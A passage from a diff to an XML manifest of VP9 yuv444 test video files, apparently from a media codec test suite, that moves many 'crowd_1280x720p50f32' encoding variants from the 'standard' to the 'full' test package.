+    <value>mime=video/x-vnd.on2.vp9,size=160579,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_arnr_5f_5s_3t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160579,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160579,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_autAltRef_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_autAltRef_8lag_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=164164,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=164164,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_cbr_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=169124,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=169124,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_cq0_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_cq10_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_cq16_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_cq32_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_cq4_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_cq63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=138202,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=138202,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_downScale_10_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_downScale_20_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_downScale_50_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_downScale_80_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_errRes_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=166023,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=166023,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_keyFrmOnly_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=814112,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -38943,10 +38943,10 @@
     <value>mime=video/x-vnd.on2.vp9,size=38740988,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_noKeyFrm_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_nonErrRes_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_Qp0-10_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=7122213,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -38955,7 +38955,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=38740988,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_Qp0-63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_Qp10-20_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=3142320,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -38970,154 +38970,154 @@
     <value>mime=video/x-vnd.on2.vp9,size=1350670,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_Qp40-50_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=394180,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=394180,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_Qp50-63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160071,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160071,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_Qp63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42087,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42087,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_sharp0_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_sharp1_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160575,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160575,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_sharp2_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160915,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160915,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_sharp3_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160849,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160849,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_sharp4_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160790,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160790,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_sharp5_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160896,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160896,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_sharp6_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160934,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160934,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_sharp7_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160823,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160823,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_skip5frm_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=137638,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=137638,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_upScale_100_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_upScale_10_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_upScale_20_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_upScale_50_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_vbr_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_1x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160541,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160541,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_2x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160426,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160426,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_2x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_2x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_4x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160781,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160781,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_4x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160701,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_4x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_adaptQCom_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160269,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160269,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_adaptQVar_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=159680,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=159680,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_arnr_0f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160785,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160785,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_arnr_0f_5s_1t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=161007,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=161007,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_arnr_0f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160687,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160687,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_arnr_15f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160172,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160172,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_arnr_15f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160705,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160705,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_arnr_5f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160861,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160861,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_arnr_5f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=161007,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=161007,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_arnr_5f_5s_3t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=161007,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=161007,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_autAltRef_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_autAltRef_8lag_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=163261,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=163261,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_cbr_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=170247,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=170247,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_cq0_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_cq10_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_cq16_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_cq32_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_cq4_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_cq63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=139026,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=139026,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_downScale_10_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_downScale_20_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_downScale_50_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_downScale_80_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_errRes_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=166023,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=166023,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_keyFrmOnly_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=814112,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -39126,10 +39126,10 @@
     <value>mime=video/x-vnd.on2.vp9,size=38623985,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_noKeyFrm_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_nonErrRes_1x4.webm">
